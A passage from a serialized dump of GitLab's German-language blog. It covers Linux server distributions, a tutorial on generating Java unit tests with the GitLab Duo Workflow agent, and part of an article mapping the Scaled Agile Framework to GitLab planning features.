Server-Lizenz abgeglichen. So erscheint Linux als die ideale Option für alle, die ihre Kosten möglichst niedrig halten möchten.\n\nIn Wahrheit sind die Kostenunterschiede in der Praxis jedoch nicht so auffällig. In seiner einfachsten Variante erfordert Linux beispielsweise gut geschulte Administrator(inn)en, die mit diesem System arbeiten und es für den konkreten Praxiseinsatz konfigurieren können.\n\nAuch bedarf es einer gewissen Erfahrung, den Kontakt mit der Linux-Community zu nutzen. Hier sind die Support- und Sicherheitspakete kommerzieller Anbieter gelegentlich günstiger.\n\nDer wahre Grund, warum so viele Betriebe auf Linux setzen, ist vielmehr ein anderer:\n\n## Skalierbarkeit und Kundenorientierung\nEine häufig genannte Statistik ist die Dominanz des Linux OS im Supercomputer-Bereich, also seinem Einsatz auf den 500 schnellsten Rechnern der Welt. Hier nähert sich der Wert seit vielen Jahren immer mehr den 100 % an. Tatsächlich wenden gerade große Unternehmen verschiedene Linux-Distributionen besonders gerne an.\n\nSicherlich ist Skalierbarkeit kein Alleinstellungsmerkmal von Linux. Wohl aber wird das traditionelle kommerzielle Lizenzmodell von Windows gerade für rasch wachsende Unternehmen zum Kostenfaktor. Linux hingegen bietet aufgrund seiner inhärent modularen Konstruktion einfache Aufstockungsoptionen – ohne deinen Betrieb dabei finanziell übermäßig zu belasten.\n\nAllerdings brauchen auch mittelgroße und kleine Unternehmen nicht zwangsläufig auf Windows zu setzen. Schließlich wurde Torvalds ursprünglich unter anderem dazu motiviert, Linux zu entwickeln, um die Funktionalität eines großen Servers auf sehr moderater Hardware zu liefern.\n\n## Was sind “Linux-Distributionen”?\nIn seiner Basis-Variante wird Linux sich nur für wenige Unternehmen eignen. Sogar, wenn du die Kosten so niedrig wie möglich halten möchtest, wirst du sehr wahrscheinlich einige Anpassungen vornehmen müssen.\n\nUm dir diese Arbeit abzunehmen und um Linux an deine spezifischen Bedürfnisse anzupassen, haben sich feste Systemkonfigurationen herauskristallisiert. Alle nutzen den Linux-Kernel als Ausgangspunkt und haben ihn um gewisse Elemente und Features erweitert.\n\nDie beliebtesten, offiziell unterstützen Pakete sind Ubuntu, Debian, CentOS, AlmaLinux, Amazon Linux, OpenSUSE Leap und Raspberry Pi OS. Jede dieser Linux-Distributionen hat ihre eigenen Vor- und Nachteile. Sehen wir sie uns der Reihe nach an.\n\n## Linux-Distribution #1: Ubuntu\nUbuntu ist einer der frühesten Linux-Distributionen. Daraus ergibt sich auch unmittelbar einer seiner Hauptvorteile: Die Ubuntu-Community ist global und groß und eventuelle Fragen können in der Regel schnell und effizient beantwortet werden.\n\nUbuntu ist noch immer eine hervorragende Möglichkeit, in die Linux-Welt einzusteigen – auch wenn es inzwischen intuitivere Alternativen gibt. Das User Interface erfordert eine gewisse Einarbeitungs- und Eingewöhnungsphase, ist aber keineswegs komplex und zudem sehr logisch aufgebaut.\n\nFür Privatnutzer ist Ubuntu kostenlos. Die verschiedenen Lizenzlevels für eine kommerzielle Nutzung sind an die Möglichkeiten der jeweiligen Nutzer(innen) angepasst.\n\n## Linux-Distribution #2: Debian\nDebian ist die wohl langlebigste Linux-Distribution. In vielen Ländern, darunter auch Deutschland, bleibt sie die meistgenutzte Linux-Umsetzung für Server.\nDieser Erfolg beruht auf der unvergleichlichen Sicherheit und Stabilität von Debian, die seinesgleichen sucht.\n\nGerade weil Debian so zuverlässig ist, nutzen viele Entwickler(innen) es, um um seinen Core herum eine neue Distribution zu entwickeln. Doch bleibt auch 2024 das ursprüngliche Debian für Linux-Server eine hervorragende Wahl.\n\nAlternativ steht dir mit Raspberry Pi OS ein exzellenter Debian-Klon zur Verfügung.\n\n## Linux-Distribution #3: CentOS\nNach Ubuntu ist CentOS die weltweit beliebteste Linux-Distribution. Von RedHat entwickelt zeichnet sich auch CentOS vor allem durch seine Stabilität und Sicherheit aus. Auch seine einfache Kontrolle und Skalierbarkeit sind hervorzuheben. Und im direkten Vergleich mit anderen Distributionen fällt die bemerkenswerte Geschwindigkeit auf, die für viele Anwender(innen) ein absolutes Alleinstellungsmerkmal darstellt.\n\nLeider wurde der Support von CentOS für Linux eingestellt. Damit werden zwar nicht sofort alle mit dieser Distribution ausgestatteten Server obsolet, zum      Einstieg eignet sich CentOS nach aktuellem Stand aber nicht mehr.\n\n## Linux-Distribution #4: AlmaLinux\nDie Ansprüche von AlmaLinux sind hoch. So hat sich diese Linux Distribution zum Ziel gesetzt, den Status eines Enterprise-Level-Betriebssystems zu erreichen. Um diese Auszeichnung tragen zu dürfen, müssen bestimmte, hohe Kriterien in Bezug auf die Sicherheit und Funktionalität des Systems erreicht werden und es muss durch außenstehende Dienstleister verwaltet und gewartet werden können.\n\nDamit bietet AlmaLinux das volle Leistungspaket für Unternehmen jeder Größenordnung, bleibt aber wegen seines OpenSource-Ansatzes weiter kostenfrei. Durch seine Einbindung in die CentOS-Architektur wird es zudem regelmäßig aktualisiert.\n\nNachteilig wirkt sich allerdings aus, dass die zeitlichen Abstände zwischen neuen Versionen dieser Linux-Distribution eher lang ausfallen. Darüber hinaus ist die Softwareumgebung für Alma eher klein. Das bedeutet, dass du für bestimmte Herausforderungen in deinem Betrieb möglicherweise nicht die passende Lösung findest.\n\n## Linux-Distribution #5: Amazon Linux\nAmazon ist einer der jüngsten Anbieter im Linux-Bereich. Bei Amazon Linux dreht sich alles um die Einbindung in die Amazon Web Services (AWS). Daraus ergeben sich Vorteile in Sachen Kosten und Performance.\n\nAndererseits bedeutet diese enge Verknüpfung auch, dass dir für eventuelle Unterstützung nur eine kleine Community zur Verfügung steht. Das könnte der Grund dafür sein, dass, trotz der Marktmacht, die Amazon hat, das vom Online-Retailer angebotene OS bisher nur einen Anteil von einem halben Prozent erlangt hat.\n\n## Linux-Distribution #6: OpenSUSE Leap\nDas deutsche Unternehmen SUSE hat mit dieser Distribution eine der derzeit beliebtesten neuen Linux-Distributionen vorgelegt. Gerade unter Software-Entwickler(inne)n genießt es eine sehr hohe Wertschätzung.\n\nOpenSUSE Leap macht einiges anders als andere Distributionen. Dazu gehört der hervorragende Package Manager sowie ein optionales grafisches Interface (GUI). Auch in Sachen Sicherheit hat es einigen der etablierteren Distributionen den Rang abgelaufen.\n\n## GitLab und Linux-Server\nBei Git handelt es sich um eine Softwareentwicklungs- und Kollaborationsplattform, die eng mit der agilen Methodologie verknüpft ist. Es mag noch andere Version-Control-Programme geben, doch keines ist so gut für den Einsatz auf einem Linux-Server geeignet wie Git.\n\nDafür reicht ein kurzer Blick in die Geschichte von Git aus. So wurde die Plattform ebenfalls von Linus Torvalds geschrieben, ganz spezifisch für einen Einsatz auf einem Linux-OS. Daraus ergibt sich eine enge Abstimmung, die eine optimale Performance garantiert.\n\nGitLab ist eine der weltweit führenden Git-Plattformen und ergänzt den dahintersteckenden DevOps-Gedanken noch um eine besondere Betonung des Themas Sicherheit.\nUm GitLab unter Linux zu nutzen, richte zunächst den Linux-Server ein und installiere anschließend GitLab.\n\n## Einen Linux-Server einrichten\nJede der genannten Linux-Distributionen hat ihre Eigen- und Besonderheiten. \n\n**Das Einrichten und Verbinden eines Linux-Servers allerdings folgt jeweils einem nahezu identischen Ablauf:**\n\n**- Lade die aktuelle Version der jeweiligen Software auf deinen Rechner und erstelle ein Boot-Medium – entweder auf einem optischen Träger oder einem USB-Stick.**\n\n**- Verbinde das Boot-Medium mit deinem Linux-Server und installiere die Software.**\n\n**- Installiere anschließend den für dich passenden Datenbankserver, einen Webserver und lege die Skriptsprache fest.**\n\n**- Nun kannst du noch eine grafische Benutzeroberfläche hinzufügen oder den Server über Text ansteuern.**\n\nInstalliere anschließend sämtliche weitere Software, die du benötigst.\n\n## Einen Linux-Server sichern\nNach dem Einrichten deines Linux-Servers läuft das Absichern genauso ab wie bei einem Standard-Desktop-PC.\n\nEntscheidend ist, dass du das Linux-Server-Backup wirklich häufig und regelmäßig vornimmst und genau festlegst, was gesichert und was nicht gesichert werden soll. Weil auf Servern oftmals große Datenmengen gespeichert sind, kommt diesem Punkt hier eine noch höhere Bedeutung als im Heimbereich zu. Als Speicherort kann eine hochwertige zweite Festplatte dienen.\n\nWichtig ist die Wahl des besten Backup-Tools. In dieser Übersicht zu Server-Backups unter Linux werden die Vorteile und Nachteile einander anschaulich gegenübergestellt.\n\n## GitLab auf einem Linux-Server nutzen\nUm von den Vorteilen einer GitLab-Nutzung unter Linux profitieren zu können, installiere den Git-Repository-Manager auf einer der obengenannten Distributionen deiner Wahl.\n\n**Der Ablauf der Installation besteht dabei aus drei Schritten:**\n\n**- Dem Installieren und Konfigurieren der verlangten externen Software und/oder Bibliotheken**\n\n**- Dem Hinzufügen des GitLab-Repository und der Installation des Pakets.**\n\n**- Dem Ausführen des Setups.**\n\nAnschließend kannst du von den Funktionen von GitLab für deine Teamarbeit voll profitieren – zum Beispiel im Rahmen deiner Epics und User Stories.",[552],{"slug":1778,"featured":6,"template":682},"what-is-a-linux-server","content:de-de:blog:what-is-a-linux-server.yml","What Is A Linux Server","de-de/blog/what-is-a-linux-server.yml","de-de/blog/what-is-a-linux-server",{"_path":1784,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1785,"content":1791,"config":1796,"_id":1798,"_type":16,"title":1799,"_source":17,"_file":1800,"_stem":1801,"_extension":20},"/de-de/blog/use-gitlab-duo-workflow-to-improve-application-quality-assurance",{"title":1786,"description":1787,"ogTitle":1786,"ogDescription":1787,"noIndex":6,"ogImage":1788,"ogUrl":1789,"ogSiteName":1396,"ogType":1397,"canonicalUrls":1789,"schema":1790},"Verbesserte Qualitätssicherung von Anwendungen mit GitLab Duo Workflow","Erfahre, wie du mithilfe von agentischer KI Unit-Tests zu einer Java-Anwendung hinzufügst (Video-Tutorial inklusive).","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097617/Blog/Hero%20Images/Blog/Hero%20Images/Workflow%201800x945_2gQoQIbY9NvjLFpXtsxtXy_1750097616649.png","https://about.gitlab.com/blog/use-gitlab-duo-workflow-to-improve-application-quality-assurance","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Verbesserte Qualitätssicherung von Anwendungen mit GitLab Duo Workflow\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2025-04-10\",\n      }\n                  ",{"title":1786,"description":1787,"authors":1792,"heroImage":1788,"date":1793,"body":1794,"category":677,"tags":1795,"updatedDate":1692},[888],"2025-04-10","Die Qualität deiner Anwendungen durch testbasiertes Design, gute Testabdeckung und Fehlererkennung sicherzustellen, ist für deine Kund(inn)en und deinen Ruf immens wichtig, kann aber auch ziemlich zeitaufwändig sein. [GitLab Duo Workflow](https://about.gitlab.com/de-de/gitlab-duo/agent-platform/), eine agentische KI, die auf der umfassendsten DevSecOps-Plattform aufbaut, kann dir dabei helfen, Entwicklungsaufgaben wie das Hinzufügen von Unit-Tests zu einer Java-Anwendung schnell zu erledigen. In diesem Tutorial siehst du anhand eines [Java-Beispielprojekts](https://gitlab.com/gitlab-da/playground/csaavedra/gdw/prodmgr-gdw), wie das geht.\n\n> Der GitLab Duo Workflow befindet sich derzeit in der privaten Beta-Phase. Trag dich in die [Warteliste](https://about.gitlab.com/de-de/gitlab-duo/agent-platform/) ein, um zu erfahren, was du mit KI-Tools, die deinen gesamten SDLC verstehen, alles machen kannst.\n\n## Öffne dein Projekt in VS Code\n\n1. Öffne das Java-Projekt in Visual Studio Code (nachdem du es auf deinen lokalen Computer geklont hast). Stelle sicher, dass du dich in einem Feature-Branch befindest (nicht im main- oder default-Branch), bevor du beginnst. Wenn du schon an einem Merge Request arbeitest, hat dieser einen eigenen Feature-Branch.\n\n2. (Dieser Schritt ist optional.) Gehe zu der Datei, die die Java-Klasse definiert, für die du mit GitLab Duo Workflow Unit-Tests erstellen möchtest. Sieh sie dir genau an, damit du später überprüfen kannst, ob die generierten Unit-Tests die Komponenten der Klasse abdecken. Das solltest du sehen:\n\n![Datei, die die Java-Klasse definiert, für die du mit GitLab Duo Workflow Unit-Tests erstellen möchtest](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097627/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097627482.png)\n\n**Hinweis:** Wir gehen davon aus, dass du die Erweiterung von GitLab Duo Workflow in VS Code bereits aktiviert hast. Wenn nicht, lies dir die [Einrichtungsdokumentation](https://docs.gitlab.com/user/duo_workflow/#use-workflow-in-vs-code) durch (nur in englischer Sprache verfügbar).\n\n3. Starte GitLab Duo Workflow, indem du die Befehlspalette von VS Code öffnest [Strg + Umschalt + P], „GitLab Duo Workflow“ eingibst und **GitLab: Duo Workflow anzeigen** auswählst. Es erscheint eine Registerkarte, die wie folgt aussieht:\n\n![Starten von GitLab Duo Workflow mit VS Code](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097628/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097627483.png)\n\n4. Im nächsten Schritt fügst du Tests für den Standardkonstruktor, die Überprüfung der Objekterstellung und den Anfangszustand der Eigenschaften der Klasse „Product“ hinzu. Dazu gibst du den folgenden Prompt in den Textbereich in GitLab Duo Workflow ein:\n\n```unset\nCreate unit tests for class defined in the Product.java file and store the unit tests in its own file titled ProductTest.java\n```\n\n(Erstelle Unit-Tests für die in der Datei „Product.java“ definierte Klasse und speichere die Unit-Tests in einer eigenen Datei mit dem Namen „ProductTest.java“.)\n\n![Eingabe eines Prompts in GitLab Duo Workflow](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097628/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097627484.png)\n\n5. Klick in GitLab Duo Workflow auf die Schaltfläche **Start**. Es werden zwei neue Fenster angezeigt: eins in der Mitte des Bildschirms und eins rechts davon. Das rechte Fenster zeigt die Analyse an, die GitLab Duo Workflow durchführt, um einen Plan zu erstellen, mit dem das in deinem Prompt angegebene Ziel erreicht werden kann. Der Plan wird im mittleren Fenster angezeigt. Nach Abschluss der Analyse und der Planerstellung sollte eine Ausgabe wie die folgende angezeigt werden:\n\n![Von GitLab Duo Workflow generierte Analyse und Plan](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097627/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097627486.png)\n\n6. Sieh dir die Analyse und den Plan an und klick unten im Fenster auf **Plan genehmigen**, wenn du damit einverstanden bist.\n\n7. GitLab Duo Workflow beginnt mit der Ausführung des genehmigten Plans und nimmt die entsprechenden Änderungen an deinem Projekt vor.\n\n8. Sobald die Ausführung des Plans abgeschlossen ist, siehst du im Projekt ein neues Verzeichnis `src/test/java/csaa/jspring/ProductManager` mit einer neuen Datei mit dem Namen `ProductTest.java`, die alle Unit-Tests für die Klasse `Product.java` enthält.\n\n![Neues Verzeichnis im Projekt mit einem neuen Dateinamen „ProductTest.java“](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097628/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750097627488.png)\n\n9. Navigiere zu der neu erstellten Datei `ProductTest.java`. Du wirst sehen, dass einige Importanweisungen rot unterstrichen sind, was auf Importfehler hinweist:\n\n![„ProductTest.java“ enthält Importanweisungen und Fehleranzeigen in Rot](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097628/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097627489.png)\n\nGitLab Duo Workflow soll das für uns beheben.\n\n**Hinweis:** Wir hätten GitLab Duo Workflow auch in unserem ersten Prompt bitten können, die Datei `pom.xml` entsprechend zu aktualisieren. Da wir das aber nicht gemacht haben, beheben wir diese Fehler in einem neuen Workflow.\n\n## Starten von GitLab Duo Workflow, um Fehler im generierten Code zu beheben\n\n10. Starte einen neuen Workflow, indem du unten im Analysefenster auf der rechten Seite deines Bildschirms auf die Schaltfläche **Neuer Workflow** klickst.\n\n![Schaltfläche „Neuer Workflow“](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097628/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097627491.png)\n\n11. Gib im Textbereich für den Prompt Folgendes ein:\n\n```unset\nThe file ProductTest.java has an error “The import org.junit cannot be resolved”. Please fix it\n```\n\n(Die Datei „ProductTest.java“ hat einen Fehler: „Der Import org.junit kann nicht aufgelöst werden“. Bitte behebe diesen Fehler.)\n\n12. Nachdem du den vorgeschlagenen Plan genehmigt hast, startet GitLab Duo Workflow seine Analyse, indem es die aktuelle `pom.xml`-Datei liest. Anschließend wird sie bearbeitet und die veraltete JUnit-Abhängigkeit entfernt. Danach werden die richtige Abhängigkeit und Version für JUnit hinzugefügt. Zuletzt wird die Datei `ProductTest.java` gelesen, um alle Abhängigkeitsfehler zu beheben.\n\n![GitLab Duo Workflow führt eine Analyse durch, indem es die Datei „pom.xml“ liest.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097627/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097627492.png)\n\n## Sieh dir das Tutorial an\n\nDurch die Ausführung dieses Plans führt GitLab Duo Workflow effektiv Aktualisierungen am Projekt durch, um die im Prompt geforderten Aufgaben zu erfüllen. Das spart Zeit und Aufwand und steigert die Produktivität, sodass Entwickler(innen) mehr Zeit für Innovationen und die Schaffung von Mehrwert für ihr Unternehmen aufwenden können.\n\nWenn du sehen möchtest, wie das oben Beschriebene in der Praxis funktioniert, sieh dir das folgende Video an:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/Tuj7TgqY81Q?si=RReuL1pUsLafvAzs\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line ->\n\n> Trag dich in die [Warteliste für die private Beta-Version von GitLab Duo Workflow](https://about.gitlab.com/de-de/gitlab-duo/agent-platform/) ein, um zu sehen, was du mit KI-Tools machen kannst, die deinen gesamten SDLC verstehen.\n\n## Mehr über GitLab Duo Workflow und agentische KI\n\n- [GitLab Duo Workflow: Transparenz und Kontrolle für agentische KI auf Enterprise-Niveau](https://about.gitlab.com/de-de/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai/)\n- [Dokumentation für GitLab Duo Workflow (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/duo_workflow/)\n- [GitLab Duo](https://about.gitlab.com/de-de/gitlab-duo/)\n- [Agentische KI: Entwicklerpotenzial in großem Maßstab freisetzen (The Source) (nur in englischer Sprache verfügbar)](https://about.gitlab.com/the-source/ai/agentic-ai-unlocking-developer-potential-at-scale/)\n",[679,746,767,680,745],{"slug":1797,"featured":6,"template":682},"use-gitlab-duo-workflow-to-improve-application-quality-assurance","content:de-de:blog:use-gitlab-duo-workflow-to-improve-application-quality-assurance.yml","Use Gitlab Duo Workflow To Improve Application Quality Assurance","de-de/blog/use-gitlab-duo-workflow-to-improve-application-quality-assurance.yml","de-de/blog/use-gitlab-duo-workflow-to-improve-application-quality-assurance",{"_path":1803,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1804,"content":1810,"config":1817,"_id":1819,"_type":16,"title":1820,"_source":17,"_file":1821,"_stem":1822,"_extension":20},"/de-de/blog/safe-without-silos-in-gitlab",{"title":1805,"description":1806,"ogTitle":1805,"ogDescription":1806,"noIndex":6,"ogImage":1807,"ogUrl":1808,"ogSiteName":1396,"ogType":1397,"canonicalUrls":1808,"schema":1809},"SAFe ohne Silos in GitLab","Erfahre, wie du das Scaled Agile Framework den nativen Funktionen der DevSecOps-Plattform zuordnen kannst und welche Vorteile sich daraus ergeben.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097569/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2811%29_2hcwWx49wQ7CHfvhhkVH6S_1750097569126.png","https://about.gitlab.com/blog/safe-without-silos-in-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"SAFe ohne Silos in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"}],\n        \"datePublished\": \"2025-04-08\",\n      }",{"title":1805,"description":1806,"authors":1811,"heroImage":1807,"date":1813,"body":1814,"category":976,"tags":1815,"updatedDate":1816},[1812],"Amanda Rueda","2025-04-08","Was passiert eigentlich, wenn dein Unternehmen das Scaled Agile Framework (SAFe) einführt, um auf Unternehmensebene zu skalieren? Du hast mehrere Teams, die an komplexen Produkten arbeiten, und benötigst eine Möglichkeit, diese Arbeit zu koordinieren. Aber hier ist ein häufiges Problem: Deine Planung erfolgt in einem Tool, während deine eigentliche Entwicklungsarbeit ganz woanders stattfindet.\n\nDiese Trennung schafft überall Probleme: Entwickler(innen) springen ständig zwischen Systemen hin und her. Produktmanager(innen) haben Schwierigkeiten, sich ein genaues Bild vom Fortschritt zu machen. Und jeder verschwendet Zeit damit, Informationen manuell von einem Ort zum anderen zu kopieren. Es ist genau diese Art von fehlendem Zusammenhang, die SAFe beseitigen soll.\n\nAuch wenn deine Entwicklungsteams [GitLab](https://about.gitlab.com/de-de/) möglicherweise bereits für die Quellcodeverwaltung, CI/CD und Sicherheit verwenden, fragst du dich vielleicht, ob GitLab auch deine Planungsanforderungen innerhalb des SAFe-Frameworks unterstützen kann. Die gute Nachricht ist, dass die agilen Projektmanagementfunktionen von GitLab SAFe umfassend unterstützen. In diesem Artikel erfährst du, wie GitLab SAFe-Konzepte und -Zeremonien abbildet, und das alles innerhalb derselben DevSecOps-Plattform, die deine Softwareentwickler(innen) bereits kennen und lieben.\n\n## Was ist SAFe?\n\nSAFe oder das Scaled Agile Framework ist eine Möglichkeit, agile Prinzipien in große Unternehmen zu bringen, ohne an Geschwindigkeit, Ausrichtung oder Kundenorientierung einzubüßen. Es nimmt das iterative und flexible Teamwork-Modell kleiner Teams auf und wendet diese Prinzipien in großen Unternehmen mit mehreren Teams, Roadmaps und Stakeholdern an. Dies bringt die Organisation in Einklang, da jedes Planen und Ausführen im Einklang erfolgt. SAFe hilft Produktmanager(inne)n, die Strategie mit der Umsetzung zu verbinden, sodass du nicht nur schnell, sondern auch die richtigen Dinge lieferst, unterstützt durch klare Prioritäten und teamübergreifende Abstimmung.\n\nSAFe reduziert Silos, fördert die Zusammenarbeit und hilft Teams, sich auf Kundenergebnisse zu konzentrieren, nicht nur auf Aufgaben. Wenn es in GitLab integriert ist, passiert etwas scheinbar Magisches: Sichtbarkeit, Nachvollziehbarkeit und Lieferung befinden sich alle an einem Ort.\n\n## SAFe-Terminologie in GitLab\n\nZunächst müssen wir festlegen, wie SAFe-Konzepte GitLab zugeordnet werden:\n\n| SAFe | GitLab |\n| :---- | :---- |\n| Epic | Top-Level-Epic |\n| Möglichkeit | Sub-Epic (Level 1) |\n| Funktion | Sub-Epic (Level 2) |\n| User Story | Issue |\n| Aufgabe | Aufgabe |\n| Team | Benutzerdefiniertes Feld/Label mit begrenztem Geltungsbereich |\n| Sprint | Iteration |\n| Programminkrement (PI) | Meilenstein |\n| Wertschöpfungskette | Top-Level-Gruppe |\n| Agile Release Train (ART) | Top-Level-Gruppe |\n\n\u003Cbr>\u003C/br>\n\nMit dieser Zuordnung als Leitfaden kannst du GitLab so einrichten, dass es deine SAFe-Implementierung widerspiegelt. Mit der Gruppenstruktur kannst du dich um deine Wertschöpfungsketten und ARTs herum organisieren, während die Workitem-Hierarchie (mit bis zu sieben Ebenen verschachtelter Epics!) dir die nötige Tiefe für komplexe Produktportfolios bietet. Unabhängig davon, ob du auf Portfolioebene (mit Top-Level-Gruppen), auf Programmebene (mit Untergruppen) oder auf Teamebene (mit Projekten) arbeitest, passt die Organisationsstruktur von GitLab perfekt zur SAFe-Hierarchie.\n\n## Unterstützung von SAFe-Zeremonien in GitLab\n\nNun zum vergnüglichen Teil – wie führst du deine SAFe-Zeremonien in GitLab durch? Gehen wir jede einzelne durch.\n\n### PI-Planen\n\nUm die teamübergreifende Abstimmung und das Abhängigkeitsmanagement zu erleichtern, die ein erfolgreiches PI-Planen ausmachen, bietet GitLab mehrere Möglichkeiten:\n\n* Verwende die [Roadmap](https://docs.gitlab.com/user/group/roadmap/)-Ansicht, um Funktionen team- und zeitübergreifend zu visualisieren.\n* Weise dem PI-[Meilenstein](https://docs.gitlab.com/user/project/milestones/) Funktionen zu.\n* Dokumentiere und visualisiere teamübergreifende [Abhängigkeiten]( https://docs.gitlab.com/user/project/issues/related_issues/#blocking-issues), sobald sie identifiziert wurden.\n\nGitLab bietet dir Flexibilität beim PI-Planen sowohl über die Epic-Boards (die so konfiguriert werden können, dass sie Teamzuweisungen anzeigen) als auch über die Roadmap-Ansicht (die Funktionen im Zeitverlauf wie ein Gantt-Diagramm anzeigt). Du kannst während deiner Planungs-Sessions zwischen diesen Ansichten wechseln, je nachdem, ob du dich auf die Zeitachse oder die Teamorganisation konzentrierst.\n\n![Roadmap-Ansicht und Epic-Board](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097576746.gif)\n\n\u003Cbr>\u003C/br>\n\n![Roadmap-Ansicht mit Gantt-Diagramm](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097576747.png)\n\n### Refinement\n\nAls Produktmanager(in) bedeutet das Durchführen effektiver Refinement-Sessions, dass du einen klaren Überblick über deinen Funktionen-Backlog hast. Du kannst deine Refinement-Session direkt in GitLab durchführen. Du musst nicht mehr während der Besprechung ein Tool aktualisieren und anschließend ein anderes Tool aktualisieren. \n\nGitLab unterstützt Refinement-Sessions mit:\n\n* [Epic-Boards](https://docs.gitlab.com/user/group/epics/epic_boards/), die Funktionen nach Status gruppieren. \n* Der Möglichkeit, Story-Punkte direkt in der [Übersicht](https://docs.gitlab.com/user/group/epics/epic_boards/#view-count-of-issues-weight-and-progress-of-an-epic) anzuzeigen.  \n* Umfassenden [Drawer-Ansichten](https://docs.gitlab.com/user/group/epics/manage_epics/#open-epics-in-a-drawer), mit denen du mit Workitems interagieren kannst, ohne den Kontext zu verlieren.  \n* Der Möglichkeit, [untergeordnete Issues](https://docs.gitlab.com/user/group/epics/manage_epics/#add-an-issue-to-an-epic) direkt aus Epics zu erstellen und zu verknüpfen.\n\n![SAFe – Bild 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097576749.gif)\n\n### Sprint-Planung\n\nWenn es darum geht, herauszufinden, was dein Team im nächsten Sprint bewältigen kann, bietet GitLab dir:\n\n* [Issue-Übersichten](https://docs.gitlab.com/user/project/issue_board/), die einen umfassenden Überblick über deinen Backlog bieten.  \n* Eine [Gesamtgewichtung](https://docs.gitlab.com/user/project/issue_board/#sum-of-issue-weights) von User Storys, die direkt auf den Boards angezeigt werden.\n* Die Möglichkeit, Tickets einfach zwischen Iterationen zu verschieben. \n* Eine zusammenklappbare Ansicht, die das Verschieben von Storys zwischen Sprints vereinfacht.\n\nDas bedeutet, dass du alles an einem Ort aufbewahren und deine Planungsbesprechungen tatsächlich mit dem Planen verbringen kannst, anstatt zwischen den Tools zu wechseln.\n\n![Sprint-Planung mit GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097576751.gif)\n\n*💡 In [diesem Tutorial zur Verwendung von GitLab für Scrum](https://docs.gitlab.com/tutorials/scrum_events/) erhältst du einen detaillierten Einblick in die Möglichkeiten von GitLab für Agile Planning und Sprint-Verfolgung.* \n\n### Tägliche Stand-up-Meetings\n\nDein Team kann sich während der täglichen Stand-up-Meetings um das Board versammeln und sehen, woran alle arbeiten, wo es Probleme gibt und was zur Überprüfung bereit ist – alles in einer einzigen Ansicht. Für die täglichen Stand-up-Meetings deines Entwicklungsteams bietet GitLab dir folgende Möglichkeiten:\n\n* Erstellen von [iterationsbezogenen](https://docs.gitlab.com/user/project/issue_board/#iteration-lists) Boards, die die Arbeit des aktuellen Sprints anzeigen.  \n* Die Anzeige von Story-Punkten/Gewichtungen direkt auf Karten. \n* Die Verwendung der [Drawer-Ansicht](https://docs.gitlab.com/user/project/issues/managing_issues/#open-issues-in-a-drawer), um auf Details zuzugreifen, ohne den Kontext zu verlassen.  \n* Die Hervorhebung gefährdeter Aufgaben durch den [Integritätsstatus](https://docs.gitlab.com/user/project/issues/managing_issues/#health-status)\n\n![Board für tägliche Stand-up-Meetings](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097576755.png)\n\n### Sprint-Review\n\nMöchtest du wissen, wie sich dein Team im Laufe der Zeit entwickelt? GitLab bietet umfassende Metriken mit:\n\n* [Abarbeitungs- und Burnup-Diagrammen](https://docs.gitlab.com/user/group/iterations/#iteration-burndown-and-burnup-charts) für Iterationen  \n* Geschwindigkeitsverfolgung  \n* [Lead- und Zykluszeit](https://docs.gitlab.com/user/group/value_stream_analytics/#lifecycle-metrics)-Metriken  \n* Dashboards, die auf Teams ausgerichtet werden können\n\nDiese Metriken helfen dir zu verstehen, ob dein Team schneller wird, wo es stecken bleibt und worüber du vielleicht in deiner nächsten Retrospektive sprechen möchtest.\n\n![Abarbeitungs- und Burnup-Diagramme](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097576758.png)\n\n## 5 Gründe, warum eine einheitliche Plattform einen Vorteil bietet\n\nEs gibt viele Planungstools, die SAFe-Zeremonien handhaben können. Aber es gibt sehr gute Gründe, die für GitLab sprechen:\n\n1. **Kein Kontextwechsel mehr**: 